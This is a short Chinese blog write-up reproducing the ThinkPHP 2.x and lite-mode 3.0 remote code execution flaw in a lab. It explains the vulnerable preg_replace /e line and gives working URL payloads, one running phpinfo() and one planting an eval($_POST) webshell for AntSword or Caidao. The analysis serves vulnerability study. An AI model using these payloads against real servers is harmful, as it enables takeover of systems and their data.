thinkphp 2-rce


thinkphp 2-rce

漏洞成因

1
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致输入的参数被插入双引号中执行,造成任意代码执行漏洞

preg_replace('正则表达','替换字符','目标字符')

就是如果目标字符中存在符合正则规则的字符,那么就替换为替换字符,而如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞

1
2
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;  
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。

详细分析见ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行

影响版本

thinkPHP 2.x

thinkphp lite模式下3.0

复现

访问8080端口

image-20210930203058925

payload

ip:8080/index.php?s=/index/index/xxx/${@phpinfo()}

image-20211020195146011

ip:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))} //一句话连接蚁剑菜刀

回显系统发生错误,但其实已经执行成功

image-20211020200702800

测试一下连接

image-20211020200340886

参考文章

ThinkPHP 2.x 任意代码执行漏洞

漏洞复现-2.x rce-Thinkphp远程命令执行

ThinkPHP 框架2.1,2.2和3.0版本开启lite模式导致URL命令执行漏洞


文章作者: l0odrd
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 l0odrd !
  目录